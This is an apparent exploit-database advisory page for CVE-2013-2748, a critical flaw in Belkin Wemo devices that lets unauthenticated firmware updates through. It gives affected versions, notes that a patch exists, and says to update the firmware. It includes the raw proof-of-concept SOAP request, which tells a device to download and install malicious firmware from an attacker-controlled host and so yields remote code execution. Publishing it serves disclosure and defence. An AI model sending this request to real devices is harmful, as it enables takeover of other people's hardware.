Belkin Wemo Arbitrary Firmware Vulnerability

vendor:

Wemo

by:

Daniel Buentello

9,8

CVSS

CRITICAL

Arbitrary Firmware Vulnerability

CWE

Product Name: Wemo

Affected Version From: Any version prior to WeMo_US_2.00.2176.PVT

Affected Version To: WeMo_US_2.00.2176.PVT

Patch Exists: YES

Related CWE: CVE-2013-2748

CPE: h:belkin:wemo

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2013

Belkin Wemo Arbitrary Firmware Vulnerability

An arbitrary firmware vulnerability exists in Belkin Wemo devices prior to WeMo_US_2.00.2176.PVT. An attacker can send a malicious SOAP request to the device to update the firmware with a malicious version, allowing for remote code execution.

Mitigation:

Update to the latest version of the firmware

Source

Exploit-DB raw data:

# Exploit Title: Belkin Wemo Arbitrary Firmware Vulnerability
# Date: 4/3/13
# Exploit Author: Daniel Buentello
# Vendor Homepage: http://www.belkin.com/us/wemo
# Version: Any version prior to WeMo_US_2.00.2176.PVT
# CVE : CVE-2013-2748


POST /upnp/control/firmwareupdate1 HTTP/1.1
SOAPACTION: "urn:Belkin:service:firmwareupdate:1#UpdateFirmware"
Content-Length: 
Content-Type: text/xml; charset="utf-8"
HOST: 10.0.1.8:49153
User-Agent: 

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <s:Body>
  <u:UpdateFirmware xmlns:u="urn:Belkin:service:firmwareupdate:1">
   <ReleaseDate>07Jan2013</ReleaseDate><NewFirmwareVersion>1</NewFirmwareVersion><URL>http://10.0.1.99/bad_firmware.bin
  </u:UpdateFirmware>
 </s:Body>
</s:Envelope>

PoC Video:
https://www.youtube.com/watch?v=BcW2q0aHOFo